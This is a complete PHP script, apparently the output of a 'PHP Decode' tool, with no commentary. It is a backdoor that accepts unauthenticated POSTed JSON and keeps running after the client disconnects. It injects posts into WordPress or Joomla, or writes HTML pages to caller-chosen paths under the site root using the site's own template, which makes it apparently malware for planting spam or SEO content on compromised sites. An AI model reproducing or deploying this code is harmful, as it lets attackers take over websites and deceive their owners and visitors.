PHP Decode

<?php 
if (isset($_GET['check_ready'])) { 
    error_reporting(E_ALL); 
    ini_set('display_errors', true); 
    ini_set('error_reporting', E_ALL); 
} 
set_time_limit(9999); 
ignore_user_abort(1); 
$input = file_get_contents('php://input'); 
if (empty($input)) { 
    die('Waiting posts'); 
} 
$posts = json_decode($input, true); 
$protocol = strpos(strtolower($_SERVER['SERVER_PROTOCOL']), 'https') === FALSE ? 'http' : 'https'; 
$domainLink = $protocol . '://' . $_SERVER['HTTP_HOST']; 
$responses = []; 
 
function include_cms() 
{ 
    if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php')) { 
        define('WP_USE_THEMES', false); 
        require($_SERVER['DOCUMENT_ROOT'] . '/wp-load.php'); 
        return "wp"; 
    } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/includes/framework.php')) { 
        define('_JEXEC', 1); 
        define('DS', DIRECTORY_SEPARATOR); 
        define('JPATH_BASE', $_SERVER['DOCUMENT_ROOT']); 
        require_once(JPATH_BASE . DS . 'includes' . DS . 'defines.php'); 
        require_once(JPATH_BASE . DS . 'includes' . DS . 'framework.php'); 
        require_once(JPATH_BASE . DS . 'libraries' . DS . 'joomla' . DS . 'factory.php'); 
        $mainframe = &JFactory::getApplication('site'); 
        return "joomla"; 
    } 
    return false; 
} 
 
function findHTMLIndex() 
{ 
    $filesAndFolders = glob(dirname(__FILE__) . "/*"); 
 
    $possibleFilePatterns = [ 
        '/news\.html/', 
        '/post\.html/', 
        '/article\.html/', 
        '/\d{4}-\d{2}-\d{2}\.html/', 
        '/news-\d+\.html/', 
        '/post-\d+\.html/', 
        '/article-\d+\.html/', 
        '/blog\.html/', 
        '/index\.html/' 
    ]; 
 
    foreach ($filesAndFolders as $file) { 
        foreach ($possibleFilePatterns as $pattern) { 
            if (preg_match($pattern, $file)) { 
                $handle = fopen($file, "r"); 
                $contents = fread($handle, filesize($file)); 
                fclose($handle); 
                return searchContentBox($contents) ?? false; 
            } 
        } 
    } 
 
    return null; 
} 
 
function searchContentBox($html) 
{ 
    $allContainers = []; 
    $replacementDone = false; 
    if (class_exists('DOMDocument')) { 
        $dom = new DOMDocument; 
        $dom->loadHTML($html, LIBXML_NOERROR); 
 
        $xpath = new DOMXPath($dom); 
 
        $keywords = ['article', 'content', 'post', 'entry', 'your', 'additional', 'keywords', 'data_container', 'main-content', 'blog', 'blog-post', 'wrapper', 'content-wrapper', 'article-container', 'post-content', 'text-content', 'main-article', 'content-block', 'story', 'body-content', 'news', 'feature-article', 'page-content', 'text-block', 'article-body', 'content-area', 'blog-content', 'article-text', 'text-container', 'post-wrapper', 'content-section', 'main-text', 'content-holder', 'article-wrap', 'text-wrapper', 'content-box', 'story-container', 'main-article-wrap', 'block-content', 'article-entry', 'text-area', 'blog-entry', 'post-body', 'content-frame', 'content-box', 'body-article', 'news-content', 'feature-content', 'text-entry', 'content-view', 'main-story', 'article-holder', 'blog-text', 'story-text', 'content-segment', 'main-section', 'article-segment', 'text-segment', 'content-column', 'text-frame', 'article-content', 'entry-content', 'post-text', 'main-content-box', 'article-body-text', 'content-block-wrap', 'blog-entry-text', 'text-container-wrap', 'post-content-wrap', 'content-section-wrap', 'article-container-wrap', 'text-block-wrap', 'text-box', 'main-text-content', 'blog-text-wrap', 'text-segment-wrap', 'article-column', 'content-box-wrap', 'text-entry-wrap', 'container', 'text', 'homepagecontent',]; 
 
        foreach ($keywords as $keyword) { 
            $containers = $xpath->query('//div[not(ancestor::nav) and not(ancestor::header) and not(ancestor::footer)]/*[ 
            contains(concat(" ", translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), " "), " ' . strtolower($keyword) . ' ") or 
            contains(concat(" ", translate(@id, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), " "), " ' . strtolower($keyword) . ' ") 
        ] | //section[not(ancestor::nav) and not(ancestor::header) and not(ancestor::footer)]/*[ 
            contains(concat(" ", translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), " "), " ' . strtolower($keyword) . ' ") or 
            contains(concat(" ", translate(@id, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), " "), " ' . strtolower($keyword) . ' ") 
        ]'); 
            $containersArray = iterator_to_array($containers); 
            $allContainers = array_merge($allContainers, $containersArray); 
        } 
        usort($allContainers, function ($a, $b) { 
            $sizeA = $a->nodeValue; 
            $sizeB = $b->nodeValue; 
            return strlen($sizeB) - strlen($sizeA); 
        }); 
 
 
        if (!empty($allContainers)) { 
            foreach ($allContainers as $container) { 
                $parentModal = $xpath->query('ancestor::*[ 
                    contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "modal") or 
                    contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "header") or 
                    contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "swiper") or 
                    contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "slider") or 
                    contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "nav")or 
                    contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "menu") 
                    ][not(ancestor::*[ 
                         contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "modal") or 
                    contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "header") or 
                    contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "swiper") or 
                    contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "slider") or 
                    contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "nav")or 
                    contains(translate(@class, "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz"), "menu") 
                    ])]', $container); 
 
                if ($parentModal->length === 0) { 
                    $html = performReplacement($dom, $xpath, $container); 
                    $replacementDone = true; 
                    break; 
                } 
            } 
 
        } 
    } 
 
    if (!$replacementDone) { 
        $html = customReplaceTitlesAndContentWithPlaceholders($html); 
    } 
 
    return finalizeHTML($html); 
} 
function finalizeHTML($html) 
{ 
    $newHTML = preg_replace('/(<title>).*?(<\/title>)/is', '$1[insert_article_title]$2', $html); 
    $newHTML = preg_replace('/<meta\s+name\s*=\s*["\'](description|keywords)["\'][^>]*\s*\/?>/is', '', $newHTML); 
    return preg_replace('/(href|src)="(?!https?:|\/)([^"]+)"/', '$1="/$2"', $newHTML); 
} 
function customReplaceTitlesAndContentWithPlaceholders($html) 
{ 
    $titles = array('h1'); 
    if (class_exists('DOMDocument')) { 
        $doc = new DOMDocument(); 
        libxml_use_internal_errors(true); 
        $doc->loadHTML($html); 
        libxml_clear_errors(); 
 
        $xpath = new DOMXPath($doc); 
 
        foreach ($titles as $title) { 
            $titleElements = $xpath->query('//' . $title); 
            foreach ($titleElements as $titleElement) { 
                $titleElement->nodeValue = '[insert_article_title]'; 
            } 
        } 
 
        $h1Elements = $xpath->query('//h1[position() > 1]'); 
 
        foreach ($h1Elements as $h1Element) { 
            $h1Element->parentNode->removeChild($h1Element); 
        } 
 
        $maxTextNode = getMaxTextNode($xpath); 
 
        if ($maxTextNode) { 
            $maxTextNode->parentNode->nodeValue = '[insert_article_content_here]'; 
 
            return $doc->saveHTML(); 
        } 
    } 
 
    foreach ($titles as $title) { 
        $pattern = "/<$title.*?>.*?<\/$title>/is"; 
        $newHTML = preg_replace($pattern, '[insert_article_title]', $html); 
        if ($newHTML !== null) { 
            break; 
        } 
    } 
 
    return replaceMaxTextBlockWithPlaceholder($newHTML); 
} 
function replaceMaxTextBlockWithPlaceholder($html) 
{ 
    preg_match_all('/<p[^>]*>.*?<\/p>/is', $html, $allTextBlocks); 
 
    $largestTextBlock = ''; 
    $largestTextBlockSize = 0; 
 
    if (empty($allTextBlocks[0])) { 
        return preg_replace('/<body[^>]*>/', '[insert_article_content_here]', $html); 
    } 
 
    foreach ($allTextBlocks[0] as $textBlock) { 
        $currentSize = strlen(strip_tags($textBlock)); 
        if ($currentSize > $largestTextBlockSize) { 
            $largestTextBlockSize = $currentSize; 
            $largestTextBlock = $textBlock; 
        } 
    } 
 
    return str_replace($largestTextBlock, '[insert_article_content_here]' . $largestTextBlock, $html); 
} 
function getMaxTextNode($xpath) 
{ 
    $maxTextLength = 0; 
    $maxTextNode = null; 
 
    $textNodes = $xpath->query('//text()[not(ancestor::*[contains(concat(" ", normalize-space(@class), " "), "modal-content")]) and not(ancestor::script) and not(ancestor::nav) and not(ancestor::footer) and not(ancestor::style) and not(ancestor::title) and not(ancestor::meta) and not(ancestor::*[contains(concat(" ", normalize-space(@class), " "), "menu")]) and not(ancestor::*[contains(concat(" ", normalize-space(@class), " "), "navigation")])'); 
    if (!$textNodes) { 
        return null; 
    } 
    foreach ($textNodes as $textNode) { 
        $text = trim($textNode->nodeValue); 
        $textLength = mb_strlen($text, 'UTF-8'); 
 
        if ($textLength > $maxTextLength) { 
            $maxTextLength = $textLength; 
            $maxTextNode = $textNode; 
        } 
    } 
 
    return $maxTextNode; 
} 
function performReplacement($dom, $xpath, $container) 
{ 
    $newContent = $dom->createDocumentFragment(); 
    $newContent->appendXML('[insert_article_content_here]'); 
 
    $firstChild = $container->firstChild; 
    if ($firstChild) { 
        $container->insertBefore($newContent, $firstChild); 
    } else { 
        $container->nodeValue = ''; 
        $container->appendChild($newContent); 
    } 
 
    $titleElement = $xpath->query('//head/title')->item(0); 
 
    if ($titleElement) { 
        $titleElement->nodeValue = '[insert_article_title]'; 
    } 
 
    $metaElements = $xpath->query('//meta[@name="description" or @name="keywords"]'); 
 
    foreach ($metaElements as $metaElement) { 
        $metaElement->parentNode->removeChild($metaElement); 
    } 
 
    return $dom->saveHTML(); 
} 
function generatePostInTemplate($post, $html): string 
{ 
    $template = $html; 
    $template = preg_replace('/\[insert_article_content_here]/s', $post['post_content'], $template, 1); 
    $template = preg_replace('/\[insert_article_content_here]/s', '', $template); 
    $template = str_replace('[insert_article_title]', strip_tags($post['post_title']), $template); 
 
    $template = preg_replace('/<h1[^>]*>\s*(.*?)\s*<\/h1>/s', '[insert_article_h1]', $template, 1); 
    $template = preg_replace('/<h1[^>]*>\s*(.*?)\s*<\/h1>/s', '', $template); 
    $template = str_replace('[insert_article_h1]', '<h1>' . $post['post_title'] . '</h1>', $template); 
    return $template; 
} 
 
function generateShortContent($text, $maxLength = 100) 
{ 
    if (mb_strlen($text, 'UTF-8') > $maxLength) { 
        $text = mb_substr($text, 0, $maxLength, 'UTF-8'); 
        $text .= '...'; 
    } 
    return $text; 
} 
 
function getTemplateFromRemote($link) 
{ 
    $request = new HttpRequest(0, 30); 
    $siteContent = $request->request($link); 
    if (!$siteContent) return false; 
    return searchContentBox($siteContent); 
} 
 
function generatePosts($posts, $template) 
{ 
    global $domainLink; 
    $responses = []; 
    foreach ($posts as $post) { 
        $content = generatePostInTemplate($post, $template); 
        $articleFileName = $post['post_slug'] . '.html'; 
        $articleLocalFilePath = $_SERVER['DOCUMENT_ROOT'] . '/' . $post['post_path'] . '/' . $articleFileName; 
 
        if (!is_dir(dirname($articleLocalFilePath))) { 
            mkdir(dirname($articleLocalFilePath), 0755, true); 
        } 
 
        if (file_put_contents($articleLocalFilePath, $content) !== false) { 
            $responses[] = ['uuid' => $post['uuid'], 'post_permalink' => $domainLink . '/' . $post['post_path'] . '/' . $articleFileName, 'cms' => 'html']; 
        } else { 
            $responses[] = ['uuid' => $post['uuid'], 'error' => 'Failed to save post']; 
        } 
    } 
 
    return $responses; 
} 
 
class HttpRequest 
{ 
    private $mode = 0; 
    private $timeout = 60; 
 
    function __construct($mode = 0, $timeout = 60) 
    { 
        $this->mode = ($mode == 0 && function_exists('curl_init') ? 0 : 1); 
        $this->timeout = $timeout; 
    } 
 
    function request($url, $post_data = false) 
    { 
        switch ($this->mode) { 
            case 0: 
                return $this->_requestCurl($url, $post_data); 
            case 1: 
                return file_get_contents($url); 
            default: 
                return false; 
        } 
    } 
 
    function _requestCurl($url, $post_data) 
    { 
 
        $hc = curl_init($url); 
        if ($post_data) 
            curl_setopt($hc, CURLOPT_POSTFIELDS, $post_data); 
        curl_setopt($hc, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'); 
        curl_setopt($hc, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($hc, CURLOPT_FOLLOWLOCATION, 1); 
        curl_setopt($hc, CURLOPT_AUTOREFERER, 1); 
        curl_setopt($hc, CURLOPT_CONNECTTIMEOUT, $this->timeout); 
        $res = curl_exec($hc); 
        curl_close($hc); 
        return $res; 
    } 
} 
 
$checkCMS = include_cms(); 
if ($checkCMS == "wp") { 
    foreach ($posts as $post_data) { 
        $post_id = wp_insert_post($post_data); 
 
        if ($post_id) { 
            $post_permalink = get_permalink($post_id); 
            $post = get_post($post_id, 'ARRAY_A'); 
            $responses[] = ['uuid' => $post_data['uuid'], 'post_permalink' => $post_permalink, 'cms' => 'wp', 'post' => $post]; 
        } else { 
            $responses[] = ['uuid' => $post_data['uuid'], 'error' => 'Failed to create post']; 
        } 
    } 
} elseif ($checkCMS == "joomla") { 
    foreach ($posts as $post) { 
        $database = JFactory::getDBO(); 
        $item = new stdClass; 
        $item->id = null; 
        $item->title = $post['post_title']; 
        $item->introtext = generateShortContent($post['post_content'], 300); 
        $item->fulltext = $post['post_content']; 
        $item->state = 1; 
        $item->access = 1; 
        $item->created_by = 62; 
        $item->created = $post['post_date']; 
        $item->alias = JFilterOutput::stringURLSafe($item->title); 
        if (!$database->insertObject('#__content', $item, 'id')) { 
            $responses[] = ['uuid' => $post['uuid'], 'error' => 'Failed to create post: ' . $database->stderr()]; 
            continue; 
        } 
        $newArticleId = $item->id; 
        $article = JTable::getInstance('content'); 
        $article->load($newArticleId); 
        $post_permalink = JRoute::_(ContentHelperRoute::getArticleRoute($newArticleId, $article->catid)); 
 
        $responses[] = ['uuid' => $post['uuid'], 'post_permalink' => $post_permalink, 'cms' => 'joomla']; 
    } 
} else { 
    if (!($template = findHTMLIndex())) { 
        $template = getTemplateFromRemote($domainLink); 
    } 
    if ($template) { 
        $responses = generatePosts($posts, $template); 
    } else { 
        header("HTTP/1.1 406 OK"); 
        $responses[] = ['error' => 'Failed to find template']; 
    } 
} 
 
echo json_encode($responses);